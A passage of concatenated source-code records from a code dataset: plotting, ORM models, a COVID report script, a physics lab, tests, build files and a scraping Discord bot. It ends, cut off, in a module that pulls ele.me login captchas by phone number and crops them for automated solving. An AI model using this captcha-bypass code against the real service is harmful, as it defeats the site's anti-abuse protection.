efficacy bound for subcontrols level L. (E) Set cover with budget and efficacy bound for subcontrols level H. (F) Knapsack Optimisation with budget\", color='black', wrap=True,\n        # bbox=dict(facecolor='none', edgecolor='black', pad=10.0))\n    # ax.get_legend()\n    # plt.legend()\n    box = ax.get_position()\n    ax.set_position([box.x0, box.y0 + box.height * 0.2, box.width, box.height * 0.8])\n    ax.legend(loc='upper center',bbox_to_anchor=(0.5,-0.09),fancybox=True,shadow=True,ncol=1,prop={'size': 9})\n\n    plt.show()\n\n\ndef knapsackRiskPlot(risk_KP_list,budget_list):\n    eZn = []\n    eZn_cap = []\n    cost = []\n    rosi = []\n    reduced_risk = []\n    for i in risk_KP_list:\n        eZn.append(i[1])\n        eZn_cap.append(i[3])\n        cost.append(i[4])\n        rosi.append((i[1]-i[3]-i[4])/i[4])\n        reduced_risk.append(i[1]-i[3])\n\n    print(f'eZn_cap:{eZn_cap}')\n    print(f'rosi:{rosi}')\n\n    # df = pd.DataFrame({'eZn_cap':eZn_cap})\n    # ax = df.plot.line(color={\"indianred\"})\n    # plt.plot(budget_list,eZn_cap,color='indianred',label='residual')\n    plt.plot(budget_list,rosi,color='steelblue',label='rosi')\n    plt.plot(budget_list,reduced_risk,color='black',label='Reduced Expected Impact')\n    plt.xlabel('Budget')\n\n    # fig.tight_layout()\n    plt.legend(loc='best')\n    plt.show()\n","sub_path":"plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":10695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"261804201","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nРабота с проф. стандартами\n\"\"\"\nfrom sqlalchemy import Column, DateTime, ForeignKey, Integer, String, text, Text, TIMESTAMP, Float, JSON, Date, Numeric, Table\nfrom sqlalchemy.orm import relationship, exc\nfrom sqlalchemy.ext.declarative import declarative_base, DeclarativeMeta\nimport logging\n\nBase = declarative_base()\nmetadata = Base.metadata\n\n\nclass ProfStandard(Base):\n    __tablename__ = 'prof_standard'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_standard_id_seq'::regclass)\"))\n    code = Column(String(16), nullable=False, unique=True)\n    name = Column(String(1024), nullable=False)\n    date_accepted = Column(String(1024))\n    tf_cnt = Column(Integer)\n    remark = Column(String(1024))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n\nclass ProfStandardOkso(Base):\n    __tablename__ = 'prof_standard_okso'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_standard_okso_id_seq'::regclass)\"))\n    id_prof_standard = Column(ForeignKey('data.prof_standard.id'), nullable=False)\n    code_okso = Column(String(16), nullable=False)\n    remark = Column(String(1024))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n    prof_standard = relationship('ProfStandard')\n\n\nclass ProfStandardOkved(Base):\n    __tablename__ = 'prof_standard_okved'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_standard_okved_id_seq'::regclass)\"))\n    id_prof_standard = Column(ForeignKey('data.prof_standard.id'), nullable=False)\n    code_okved = Column(String(16), nullable=False)\n    remark = Column(String(1024))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n    prof_standard = relationship('ProfStandard')\n\n\nclass ProfStandardOkz(Base):\n    __tablename__ = 'prof_standard_okz'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_standard_okz_id_seq'::regclass)\"))\n    id_prof_standard = Column(ForeignKey('data.prof_standard.id'), nullable=False)\n    code_okz = Column(String(16), nullable=False)\n    remark = Column(String(1024))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n    prof_standard = relationship('ProfStandard')\n\n\nclass ProfTf(Base):\n    __tablename__ = 'prof_tf'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_tf_id_seq'::regclass)\"))\n    id_prof_standard = Column(ForeignKey('data.prof_standard.id'), nullable=False)\n    level = Column(String(16), nullable=False)\n    num = Column(Integer, nullable=False)\n    remark = Column(String(1024))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n    prof_standard = relationship('ProfStandard')\n\n\nclass ProfTfAccessReq(Base):\n    __tablename__ = 'prof_tf_access_reqs'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_tf_access_reqs_id_seq'::regclass)\"))\n    id_prof_tf = Column(ForeignKey('data.prof_tf.id'), nullable=False)\n    access_req = Column(String(1024), nullable=False)\n    remark = Column(String(1024))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n    prof_tf = relationship('ProfTf')\n\n\nclass ProfTfEducReq(Base):\n    __tablename__ = 'prof_tf_educ_reqs'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_tf_educ_reqs_id_seq'::regclass)\"))\n    id_prof_tf = Column(ForeignKey('data.prof_tf.id'), nullable=False)\n    educ_req = Column(String(4000), nullable=False)\n    remark = Column(String(4000))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n    prof_tf = relationship('ProfTf')\n\n\nclass ProfTfOkdptr(Base):\n    __tablename__ = 'prof_tf_okdptr'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_tf_okdptr_id_seq'::regclass)\"))\n    id_prof_tf = Column(ForeignKey('data.prof_tf.id'), nullable=False)\n    code_okdptr = Column(String(32), nullable=False)\n    remark = Column(String(1024))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n    prof_tf = relationship('ProfTf')\n\n\nclass ProfTfOkso(Base):\n    __tablename__ = 'prof_tf_okso'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_tf_okso_id_seq'::regclass)\"))\n    id_prof_tf = Column(ForeignKey('data.prof_tf.id'), nullable=False)\n    code_okso = Column(String(32), nullable=False)\n    remark = Column(String(1024))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n    prof_tf = relationship('ProfTf')\n\n\nclass ProfTfProfession(Base):\n    __tablename__ = 'prof_tf_professions'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_tf_professions_id_seq'::regclass)\"))\n    id_prof_tf = Column(ForeignKey('data.prof_tf.id'), nullable=False)\n    prof = Column(String(1024), nullable=False)\n    remark = Column(String(1024))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n    prof_tf = relationship('ProfTf')\n\n\nclass ProfTfStageReq(Base):\n    __tablename__ = 'prof_tf_stage_reqs'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.prof_tf_stage_reqs_id_seq'::regclass)\"))\n    id_prof_tf = Column(ForeignKey('data.prof_tf.id'), nullable=False)\n    stage_req = Column(String(1024), nullable=False)\n    remark = Column(String(1024))\n    load_date = Column(DateTime, server_default=text(\"now()\"))\n\n    prof_tf = relationship('ProfTf')\n\n\nclass UtlSPOGosFgos(Base):\n    __tablename__ = 'utl_spo_gos_fgos'\n    __table_args__ = {'schema': 'data'}\n\n    id = Column(Integer, primary_key=True, server_default=text(\"nextval('data.utl_spo_gos_fgos_id_seq'::regclass)\"))\n    code_fgos = Column(String(32), nullable=False)\n    name_fgos = Column(String(1024), nullable=False)\n    code_gos = Column(String(32), nullable=False)\n    name_gos = Column(String(1024), nullable=False)\n\n\n\ndef get_ps_standart(sess, vcode):\n    \"\"\"\n    возврат объекта проф. стандарта, если такого нет, то возвращается новый\n    :param sess: сеанс\n    :param vcode: код стандарта\n    :return: объект, либо полный, либо только с code\n    \"\"\"\n    try:\n        res = sess.query(ProfStandard).filter(ProfStandard.code == vcode).one()\n    except exc.NoResultFound:\n        res = ProfStandard(code=vcode)\n    return res\n\n\ndef get_ps_okz(sess, ps, vcode):\n    \"\"\"\n    возврат ОКЗ для проф. стандарта, если такого нет, то возвращается новый\n    :param sess: сеанс\n    :param ps: проф. стандарт\n    :param vcode: код ОКЗ\n    :return: объект, либо полный, либо только с code\n    \"\"\"\n    try:\n        res = sess.query(ProfStandardOkz).filter(ProfStandardOkz.prof_standard == ps,\n                                                 ProfStandardOkz.code_okz == str(vcode)).one()\n    except exc.NoResultFound:\n        res = ProfStandardOkz(prof_standard=ps, code_okz=str(vcode))\n    return res\n\n\ndef get_ps_okved(sess, ps, vcode):\n    \"\"\"\n    возврат ОКВЭД проф. стандарта, если такого нет, то возвращается новый\n    :param sess: сеанс\n    :param ps: проф. стандарт\n    :param vcode: код ОКВЭД\n    :return: объект, либо полный, либо только с code\n    \"\"\"\n    try:\n        res = sess.query(ProfStandardOkved).filter(ProfStandardOkved.prof_standard == ps,\n                                                   ProfStandardOkved.code_okved == str(vcode)).one()\n    except exc.NoResultFound:\n        res = ProfStandardOkved(prof_standard=ps, code_okved=str(vcode))\n    return res\n\n\ndef get_ps_okso(sess, ps, vcode):\n    \"\"\"\n    возврат ОКСО проф. стандарта, если такого нет, то возвращается новый\n    :param sess: сеанс\n    :param ps: проф. стандарт\n    :param vcode: код ОКСО\n    :return: объект, либо полный, либо только с code\n    \"\"\"\n    try:\n        res = sess.query(ProfStandardOkso).filter(ProfStandardOkso.prof_standard == ps,\n                                                  ProfStandardOkso.code_okso == str(vcode)).one()\n    except exc.NoResultFound:\n        res = ProfStandardOkso(prof_standard=ps, code_okso=str(vcode))\n    return res\n\n\ndef get_ps_tf(sess, ps, vnum, lev):\n    \"\"\"\n    возврат ОКСО проф. стандарта, если такого нет, то возвращается новый\n    :param sess: сеанс\n    :param ps: проф. стандарт\n    :param vnum: номер\n    :param lev: уровень\n    :return: объект, либо полный, либо только с num\n    \"\"\"\n    tclass = ProfTf\n    try:\n        res = sess.query(tclass).filter(tclass.prof_standard == ps,\n                                        tclass.num == vnum).one()\n    except exc.NoResultFound:\n        res = tclass(prof_standard=ps, num=vnum)\n    res.level = lev\n    return res\n\n\ndef get_ps_tf_prof(sess, ps_tf, vprof):\n    \"\"\"\n\n    :param sess:\n    :param ps_tf:\n    :param vprof:\n    :return:\n    \"\"\"\n    tclass = ProfTfProfession\n    try:\n        res = sess.query(tclass).filter(tclass.prof_tf == ps_tf,\n                                        tclass.prof == vprof).one()\n    except exc.NoResultFound:\n        res = tclass(prof_tf=ps_tf, prof=vprof)\n    return res\n\n\ndef get_ps_tf_stage(sess, ps_tf, stage):\n    \"\"\"\n\n    :param sess:\n    :param ps_tf:\n    :param stage:\n    :return:\n    \"\"\"\n    tclass = ProfTfStageReq\n    try:\n        res = sess.query(tclass).filter(tclass.prof_tf == ps_tf,\n                                        tclass.stage_req == stage).one()\n    except exc.NoResultFound:\n        res = tclass(prof_tf=ps_tf, stage_req=stage)\n    return res\n\n\ndef get_ps_tf_okso(sess, ps_tf, okso):\n    \"\"\"\n\n    :param sess:\n    :param ps_tf:\n    :param okso:\n    :return:\n    \"\"\"\n    tclass = ProfTfOkso\n    try:\n        res = sess.query(tclass).filter(tclass.prof_tf == ps_tf,\n                                        tclass.code_okso == str(okso)).one()\n    except exc.NoResultFound:\n        res = tclass(prof_tf=ps_tf, code_okso=str(okso))\n    return res\n\n\ndef get_ps_educ_reqs(sess, ps_tf, educ):\n    \"\"\"\n\n    :param sess:\n    :param ps_tf:\n    :param educ:\n    :return:\n    \"\"\"\n    tclass = ProfTfEducReq\n    try:\n        res = sess.query(tclass).filter(tclass.prof_tf == ps_tf,\n                                        tclass.educ_req == educ).one()\n    except exc.NoResultFound:\n        res = tclass(prof_tf=ps_tf, educ_req=educ)\n    return res\n\n\ndef get_ps_okdptr(sess, ps_tf, okdptr):\n    \"\"\"\n\n    :param sess:\n    :param ps_tf:\n    :param okdptr:\n    :return:\n    \"\"\"\n    tclass = ProfTfOkdptr\n    try:\n        res = sess.query(tclass).filter(tclass.prof_tf == ps_tf,\n                                        tclass.code_okdptr == str(okdptr)).one()\n    except exc.NoResultFound:\n        res = tclass(prof_tf=ps_tf, code_okdptr=str(okdptr))\n    return res\n\n\ndef get_ps_access_reqs(sess, ps_tf, access):\n    \"\"\"\n    :param sess:\n    :param ps_tf:\n    :param access:\n    :return:\n    \"\"\"\n    tclass = ProfTfAccessReq\n    try:\n        res = sess.query(tclass).filter(tclass.prof_tf == ps_tf,\n                                        tclass.access_req == str(access)).one()\n    except exc.NoResultFound:\n        res = tclass(prof_tf=ps_tf, access_req=str(access))\n    return res\n\n\nif __name__ == \"__main__\":\n    logging.basicConfig(level=logging.DEBUG, format='%(lineno)d %(asctime)s %(message)s')\n","sub_path":"entity/prof_standards.py","file_name":"prof_standards.py","file_ext":"py","file_size_in_byte":12061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"381149078","text":"import os\nimport time \nimport csv\n\ncols = ['t','dmv_confirmed','dmv_deaths','dmv_recovered','us_confirmed','us_deaths','us_recovered']\n\nrootdir = 'csse_covid_19_data/csse_covid_19_daily_reports'\noutfilename = f'report_{int(time.time())}.csv'\n\nwith open(outfilename, 'a') as outfile:\n    outfile.write(','.join(str(x) for x in cols) + '\\n')\n    writer = csv.writer(outfile)\n    for subdir, dirs, filenames in os.walk(rootdir):\n        for filename in sorted(filenames):\n            if filename.endswith('csv'):\n                    with open(f'{rootdir}/{filename}') as file:\n                        stats = dict(zip(cols, [0] * len(cols)))\n                        stats['t'] = filename.split('.')[0];\n                        file.readline(); # chomp first line\n                        source = csv.reader(file)\n                        for source_row in source:\n                            country = source_row[1];\n                            if country != 'US':\n                                continue\n                            state = source_row[0];\n                            dmv = (state == 'Virginia' or state == 'Maryland' or state == 'District of Columbia')\n                            confirmed = 0\n                            deaths = 0\n                            recovered = 0\n\n                            try:\n                                confirmed = int(source_row[3]);\n                                deaths = int(source_row[4]);\n                                recovered = int(source_row[5]);\n                            except: \n                                pass\n                            \n                            if dmv:\n                                stats['dmv_confirmed'] += confirmed\n                                stats['dmv_deaths'] += deaths\n                                stats['dmv_recovered'] += recovered\n\n                            stats['us_confirmed'] += confirmed\n                            stats['us_deaths'] += deaths\n                            stats['us_recovered'] += recovered\n\n                        writer.writerow(str(stats[col]) for col in cols);\n","sub_path":"generate_report.py","file_name":"generate_report.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"133958106","text":"from vpython import *\nfrom math import sin, cos, radians\nimport argparse\nimport numpy as np\nimport pprint as pp\nimport matplotlib.pyplot as plt\n\n\n\n\ndef set_scene(data):\n    \"\"\"\n    Set Vpython Scene\n    param: data = dictionary with all data\n    \"\"\"\n    scene.title = \"Assignment 5: Projectile motion\"\n    scene.width = 800\n    scene.heigth = 600\n    scene.caption = \"\"\"Right button drag or Ctrl-drag to rotate \"camera\" to view scene.\n    To zoom, drag with middle button or Alt/Option depressed, or use scroll wheel.\n    On a two-button mouse, middle is left + right.\n    Touch screen: pinch/extend to zoom, swipe or two-finger rotate.\"\"\"\n    scene.forward = vector(0, -.3, -1)\n    scene.x = -1\n    # Set background: floor, table, etc\n\n\ndef motion_no_drag(data):\n    \"\"\"\n    Create animation for projectile motion with no dragging force\n    param: dictionary with all data\n    \"\"\"\n    ball_nd = sphere(pos=vector(0, data['init_height'], 0),\n                        radius=1, color=color.cyan, make_trail=True)\n    \n    # # Follow the movement of the ball\n    scene.camera.follow(ball_nd)\n\n    # Create lists of x and y values of motion\n    index = 1 \n    y_values = [data['init_height']] #list of all y positions\n    y_velocities = [data['init_y_vel']] # list of y velocities\n    x_values = [0] #list of all x positions\n    while y_values[index-1] > 0 or index == 1:\n        new_x = x_values[index - 1] + data['init_x_vel'] * data['deltat'] # find next x position\n        x_values.append(new_x) #add generated x position to list\n        \n        new_y_vel = y_velocities[index - 1] + data['gravity'] * data['deltat'] # find new y velocity\n        y_velocities.append(new_y_vel)\n        new_y = y_values[index - 1] + new_y_vel * data['deltat'] #fine new y position\n        y_values.append(new_y) #add new position to the list\n        index += 1\n\n    #create scenery elements (ground and mountains)\n    ground = box(pos=vector(x_values[-1]/2,-1,-x_values[-1]/4 + 10), color=color.green, size=vector(x_values[-1] + 20, 1, x_values[-1]/2))\n    mount1 = cone(pos=vector(3 * x_values[-1] / 8 - 20,-1,-3 * x_values[-1] / 8), axis=vector(0, max(y_values), 0), radius=(3 * x_values[-1] / 8), color=color.white)\n    mount2 = cone(pos=vector(x_values[-1] * .825 - 20,-1,-3 * x_values[-1] / 8), axis=vector(0, max(y_values) * 2, 0), radius=(3 * x_values[-1] / 8), color=color.white)\n    #Animate\n\n    #loop through lists to change the position of the ball\n    pos_index = 0\n    while pos_index < len(y_values):\n        rate(500)\n        position = vector(x_values[pos_index], y_values[pos_index], 0)\n        ball_nd.pos = position\n        pos_index += 1\n    \n    #add positions to the data dictionary to be graphed\n    data['x_no_drag'] = x_values\n    data['y_no_drag'] = y_values\n\n\n\ndef motion_drag(data):\n    \"\"\"\n    Create animation for projectile motion with dragging force\n    param: data = dictionary with all data\n    \"\"\"\n    ball_nd = sphere(pos=vector(0, data['init_height'], 0),\n                        radius=1, color=color.magenta, make_trail=True)\n    \n    # # Follow the movement of the ball\n    scene.camera.follow(ball_nd)\n    # Create lists of x and y values of motion\n    index = 1\n    x_vel = data['init_x_vel']\n    y_values = [data['init_height']]\n    y_vel = data['init_y_vel']\n    x_values = [0]\n    while y_values[index-1] > 0 or index == 1:\n        # new_x = x_values[index - 1] + data['init_x_vel'] * data['deltat'] # find next x position\n        x_vel = x_vel + data['x_drag_accel'] * data['deltat']\n        # data['x_drag_accel'] = data['x_drag_accel'] - x_vel * data['beta']   #update acceleration based on new velocity\n        new_x = x_values[index - 1] + x_vel * data['deltat']\n        x_values.append(new_x) #add generated x position to list\n        \n        y_vel = y_vel + data['y_drag_accel'] * data['deltat'] # find new y velocity\n        new_y = y_values[index - 1] + y_vel * data['deltat']\n        y_values.append(new_y)\n\n        index += 1\n     #Animate\n    pos_index = 0\n    while pos_index < len(y_values):\n        rate(500)\n        position = vector(x_values[pos_index], y_values[pos_index], 0)\n        ball_nd.pos = position\n        pos_index += 1\n    \n    #add lists of positions to the data dictionary to be graphed\n    data['x_drag'] = x_values\n    data['y_drag'] = y_values\n     \n        \ndef plot_data(data):\n    \"\"\"\n    Use lists of positions with and without drag\n    to create a graph\n    param: data = dictionary with all data\n    \"\"\"\n     # Create canvas with two plots on one graph\n    plt.figure()\n    plt.title(\"Position with and without drag force\")\n    plt.plot(data[\"x_no_drag\"], data[\"y_no_drag\"], \"g-\", label=\"Position without Drag\")   #plot x vs y position without drag\n    plt.ylabel(\"Y Position (m)\")\n    plt.xlabel(\"X Position (m)\")\n\n    plt.plot(data[\"x_drag\"], data[\"y_drag\"], \"b-\", label=\"Position with Drag\") #plot x vs y position with drag\n    plt.legend()\n    plt.show()      # display plot\n    \n\n\ndef main():\n    \"\"\"\n    Main method\n    \"\"\"\n    # 1) Parse the arguments\n    parser = argparse.ArgumentParser(description=\"Projectile Motion\")\n    parser.add_argument(\"--velocity\", \"-v\", action=\"store\", help=\"velocity in m/s\", dest=\"velocity\", type=float, required=\"true\")\n    parser.add_argument(\"--angle\", \"-a\", action=\"store\", help=\"angle in degrees\", dest=\"angle\", type=float, required=\"true\")\n    parser.add_argument(\"--height\",  action=\"store\", help=\"height in meters\", dest=\"height\", type=float, default=1.2)\n\n    args = parser.parse_args()\n    # Set Variables\n    data = {}       # empty dictionary for all data and variables\n    data['init_height'] = args.height   # y-axis  \n    data['init_velocity'] = args.velocity  # m/s\n    data['theta'] = args.angle       # degrees\n\n    rad_angle = radians(args.angle) # angle in radians\n    data['init_x_vel'] = cos(rad_angle) * args.velocity # velocity in the x-direction\n    data['init_y_vel'] = sin(rad_angle) * args.velocity # velocity in the y-direction\n\n    # Constants\n    data['rho'] = 1.225  # kg/m^3, density\n    data['Cd'] = 0.5    # coefficient friction\n    data['deltat'] = 0.005\n    data['gravity'] = -9.8  # m/s^2\n\n    data['ball_mass'] = 0.145  # kg\n    data['ball_radius'] = 0.075  # meters\n    data['ball_area'] = pi * data['ball_radius']**2\n    data['alpha'] = data['rho'] * data['Cd'] * data['ball_area'] / 2.0\n    data['beta'] = data['alpha'] / data['ball_mass']\n\n    #acceleration when the ball experiences drag\n    data['x_drag_accel'] = - data['beta'] * data['init_x_vel']\n    data['y_drag_accel'] = data['gravity'] - data['beta'] * data['init_y_vel'] \n    # Set Scene\n    set_scene(data)\n    # 2) No Drag Animation\n    motion_no_drag(data)\n    # 3) Drag Animation\n    motion_drag(data)\n    # 4) Plot Information: extra credit\n    plot_data(data)\n\n\nif __name__ == \"__main__\":\n    main()\n    exit(0)\n","sub_path":"lab5/lab5.py","file_name":"lab5.py","file_ext":"py","file_size_in_byte":6831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"27652530","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport six\n\nfrom requests_mock import adapter\nfrom requests_mock import response\nfrom requests_mock.tests import base\n\n\nclass ResponseTests(base.TestCase):\n\n    def setUp(self):\n        super(ResponseTests, self).setUp()\n        self.method = 'GET'\n        self.url = 'http://test.url/path'\n        self.request = adapter._RequestObjectProxy._create(self.method,\n                                                           self.url,\n                                                           {})\n\n    def create_response(self, **kwargs):\n        return response.create_response(self.request, **kwargs)\n\n    def test_create_response_body_args(self):\n        self.assertRaises(RuntimeError,\n                          self.create_response,\n                          raw='abc',\n                          body='abc')\n\n        self.assertRaises(RuntimeError,\n                          self.create_response,\n                          text='abc',\n                          json={'a': 1})\n\n    def test_content_type(self):\n        self.assertRaises(TypeError, self.create_response, text=55)\n        self.assertRaises(TypeError, self.create_response, text={'a': 1})\n\n    def test_text_type(self):\n        self.assertRaises(TypeError, self.create_response, content=six.u('t'))\n        self.assertRaises(TypeError, self.create_response, content={'a': 1})\n\n    def test_json_body(self):\n        data = {'a': 1}\n        resp = self.create_response(json=data)\n\n        self.assertEqual('{\"a\": 1}', resp.text)\n        self.assertIsInstance(resp.text, six.string_types)\n        self.assertIsInstance(resp.content, six.binary_type)\n        self.assertEqual(data, resp.json())\n\n    def test_body_body(self):\n        value = 'data'\n        body = six.BytesIO(six.b(value))\n        resp = self.create_response(body=body)\n\n        self.assertEqual(value, resp.text)\n        self.assertIsInstance(resp.text, six.string_types)\n        self.assertIsInstance(resp.content, six.binary_type)\n","sub_path":"requests_mock/tests/test_response.py","file_name":"test_response.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"486520232","text":"def CalcMes():\r\n    soma = \"0\"\r\n    contas = []\r\n    nomec = []\r\n    cont = 0\r\n    while (soma != \"1\"):\r\n        nomec.append(input(\"Crie um rótulo para a conta: \"))\r\n        contas.append(float(input(\"Insira o valor:  \")))\r\n        cont = cont + 1\r\n        soma = input(\"Para parar, digite 1!\")\r\n\r\n    for i in range(cont):\r\n        print(nomec[i],\":\",contas[i])\r\n        result = sum(contas)\r\n    print(\"O somatório das contas é igual a:\",result)\r\n        \r\nCalcMes()\r\n\r\n","sub_path":"CalcMes.py","file_name":"CalcMes.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"475306494","text":"# This file is python code\n\nimport os\n\nDecider('timestamp-match')\n\ncommon_files = Glob(\"src/*.cpp\") + Glob(\"src/graphics/*.cpp\") + Glob(\"src/graphics/frustum/*.cpp\") + Glob(\"src/net/*.cpp\");\nserver_files = Glob(\"src/dedicated/*.cpp\")\nclient_files = Glob(\"src/main/*.cpp\")\neditor_files = Glob(\"src/editor/*.cpp\")\nloader3ds_files = Glob(\"src/loader_3ds/*.cpp\")\n\ninclude_dirs = ['src', 'src/graphics'] + os.environ['C_INCLUDE_PATH'].split(':')\n#libs = ['boost_system-gcc41-mt-1_39']\nlibs = ['SDL', 'SDL_mixer', 'GL', 'GLU', 'png', 'GLEW']\nlib_dirs = [os.environ['LD_LIBRARY_PATH'].split(':'), './lib/']\nenv = Environment(CPPPATH = include_dirs, LIBS = libs, LIBPATH = lib_dirs)\nenv.ParseConfig('pkg-config --cflags --libs sdl')\n\ncommon_flags = '-Wall -Wextra -Werror -std=c++0x -pedantic'\n\n\n\nopt = env.Clone(CCFLAGS = common_flags + ' -O3', LINKFLAGS = '-O3')\noptcommon = opt.Object(common_files)\noptclient = opt.Program('bin/client', optcommon + opt.Object(client_files))\noptserver = opt.Program('bin/server', optcommon + opt.Object(server_files))\nopteditor = opt.Program('bin/editor', optcommon + opt.Object(editor_files))\noptloader_3ds = opt.Program('bin/loader_3ds', opt.Object(loader3ds_files))\nopt.Alias('client', 'bin/client')\nopt.Alias('server', 'bin/server')\nopt.Alias('editor', 'bin/editor')\nopt.Alias('loader3ds', 'bin/loader_3ds')\n\ndbg = env.Clone(CCFLAGS = common_flags + ' -g -O0', LINKFLAGS = '-g')\ndbgcommon = dbg.Object(common_files, OBJPREFIX = 'debug-')\ndebugclient = dbg.Program('bin/debug-client', dbgcommon + dbg.Object(client_files, OBJPREFIX = 'debug-'))\ndebugserver = dbg.Program('bin/debug-server', dbgcommon + dbg.Object(server_files, OBJPREFIX = 'debug-'))\ndebugeditor = dbg.Program('bin/debug-editor', dbgcommon + dbg.Object(editor_files, OBJPREFIX = 'debug-'))\ndbg.Alias('debug', 'bin/debug-client')\ndbg.Alias('debug', 'bin/debug-server')\ndbg.Alias('debug', 'bin/debug-editor')\n\nprof = env.Clone(CCFLAGS = common_flags + ' -pg -O3 -D NDEBUG', LINKFLAGS = '-pg -O3')\nprofcommon = prof.Object(common_files, OBJPREFIX = 'profile-')\nprofileclient = prof.Program('bin/profile-client', profcommon + prof.Object(client_files, OBJPREFIX = 'profile-'))\nprofileserver = prof.Program('bin/profile-server', profcommon + prof.Object(server_files, OBJPREFIX = 'profile-'))\nprofileeditor = prof.Program('bin/profile-editor', profcommon + prof.Object(editor_files, OBJPREFIX = 'profile-'))\nprof.Alias('profile', 'bin/profile-client')\nprof.Alias('profile', 'bin/profile-server')\nprof.Alias('profile', 'bin/profile-editor')\n\n\nDefault(optclient, optserver, opteditor)\n\n\n","sub_path":"SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"330247770","text":"from urllib.request import Request, urlopen\nfrom bs4 import BeautifulSoup\nfrom discord.ext import commands\nimport json\nimport time\nimport discord\nfrom discord.ext.commands import Bot\nimport logging\n\n\nclass senate:\n        def __init__(self, bot):\n            self.bot = bot\n\n        @commands.command()\n        async def senatecount(self):\n            req = Request('http://oppressive.games/power/bill.php?bill=', headers={\n            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) '\n                                  'Version/7.0.3 Safari/7046A194A'})\n            html = str(urlopen(req).read())\n            s = BeautifulSoup(html, \"lxml\")\n            second_req = Request('http://oppressive.games/power/senate.php', headers={\n                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) '\n                          'Version/7.0.3 Safari/7046A194A'})\n            senator_html = str(urlopen(second_req).read())\n            s2 = BeautifulSoup(senator_html, \"lxml\").find_all('table')[1]\n            senator_data = [[cell.text for cell in row(\"td\")]\n                            for row in s2(\"tr\")]\n            senator_data = [cell for cell in senator_data if 'Democratic Party' in ''.count(cell)]\n            # senator_data = [cell for cell in senator_data if 'Democratic Party' in cell]\n            print(senator_data)\n            await self.bot.say(str(senator_data))\n \n     \ndef setup(bot):\n    bot.add_cog(senate(bot))\n","sub_path":"senate.py","file_name":"senate.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"96343238","text":"from .captchaRecognizeMain import CAPTCHA_SET, captchaRecognize\nfrom ..utils import Post\nimport os\nimport random\nimport requests\n\n\n__all__ = [\"createTestSet\", \"cropImage\", \"CAPTCHA_SET_PATH\",\n           \"CURRENT_DIR\", \"getRequsetCaptcha\"]\n\n\nCURRENT_DIR = os.path.dirname(__file__)\nCAPTCHA_SET_PATH = CURRENT_DIR + \"/captcha_set\"\n\n\ndef getRequsetCaptcha(headers, telephone_number, dir_path=None, captcha_name=\"captcha\"):\n    ''' 获取验证码 '''\n    captcha_params = {\n        \"captcha_str\": telephone_number,\n    }\n\n    captcha_url = \"https://h5.ele.me/restapi/eus/v3/captchas\"\n\n    captcha_json = Post(captcha_url, headers=headers, jsons=captcha_params).json\n    captcha_hash = captcha_json[\"captcha_hash\"]\n    b64data = captcha_json['captcha_image']\n    filepath, extension = Post.base64decode(b64data, captcha_name, dir_path)\n    return filepath, extension, captcha_hash\n\n\ndef cropImage(binary_object, letters, extension, dir_path=\".\", captcha_name=\"captcha\"):\n    \"\"\" 分割图片，使用md5哈希命名 